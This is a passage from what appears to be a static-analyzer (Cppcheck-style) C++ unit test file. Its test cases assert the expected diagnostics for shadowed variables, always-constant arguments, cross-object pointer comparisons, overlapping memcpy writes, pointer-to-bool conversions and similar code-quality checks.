}\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. It does not matter what value 'i' has. [knownArgument]\\n\",\n errout_str());\n\n checkP(\"#define MACRO(X) std::abs(X ? 0 : a)\\n\"\n \"int f(int a) {\\n\"\n \" return MACRO(true);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgumentHiddenVariableExpression() {\n // #9914 - variable expression is explicitly hidden\n check(\"void f(int x) {\\n\"\n \" dostuff(x && false);\\n\"\n \" dostuff(false && x);\\n\"\n \" dostuff(x || true);\\n\"\n \" dostuff(true || x);\\n\"\n \" dostuff(x * 0);\\n\"\n \" dostuff(0 * x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Argument 'false&&x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:5:18]: (style) Argument 'true||x' to function dostuff is always 1. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:6:15]: (style) Argument 'x*0' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\"\n \"[test.cpp:7:15]: (style) Argument '0*x' to function dostuff is always 0. Constant literal calculation disable/hide variable expression 'x'. [knownArgumentHiddenVariableExpression]\\n\", errout_str());\n }\n\n void knownArgumentTernaryOperator() { // #10374\n check(\"void f(bool a, bool b) {\\n\"\n \" const T* P = nullptr; \\n\"\n \" long N = 0; \\n\"\n \" const bool c = foo(); \\n\"\n \" bar(P, N); \\n\"\n \" if (c ? a : b)\\n\"\n \" baz(P, N); \\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparePointers() {\n check(\"int f() {\\n\"\n \" const int foo[1] = {0};\\n\"\n \" const int bar[1] = {0};\\n\"\n \" int diff = 0;\\n\"\n \" if(foo > bar) {\\n\"\n \" diff = 1;\\n\"\n \" }\\n\"\n \" return diff;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:15] -> [test.cpp:5:8] -> [test.cpp:3:15] -> [test.cpp:5:14] -> [test.cpp:5:12]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 0;\\n\"\n \" int* xp = &x;\\n\"\n \" int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:15] -> [test.cpp:3:9] -> [test.cpp:5:15] -> [test.cpp:6:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f() {\\n\"\n \" A x;\\n\"\n \" A y;\\n\"\n \" int* xp = &x.data;\\n\"\n \" int* yp = &y.data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:7] -> [test.cpp:5:15] -> [test.cpp:4:7] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix, A iy) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = &iy;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:10] -> [test.cpp:3:12] -> [test.cpp:5:15] -> [test.cpp:2:16] -> [test.cpp:4:12] -> [test.cpp:6:15] -> [test.cpp:7:15]: (error) Comparing pointers that point to different objects [comparePointers]\\n\"\n \"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(int * xp, int* yp) {\\n\"\n \" return &xp > &yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:1:14] -> [test.cpp:2:12] -> [test.cpp:1:23] -> [test.cpp:2:18] -> [test.cpp:2:16]: (error) Comparing pointers that point to different objects [comparePointers]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" int y = 1;\\n\"\n \" return &x - &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n 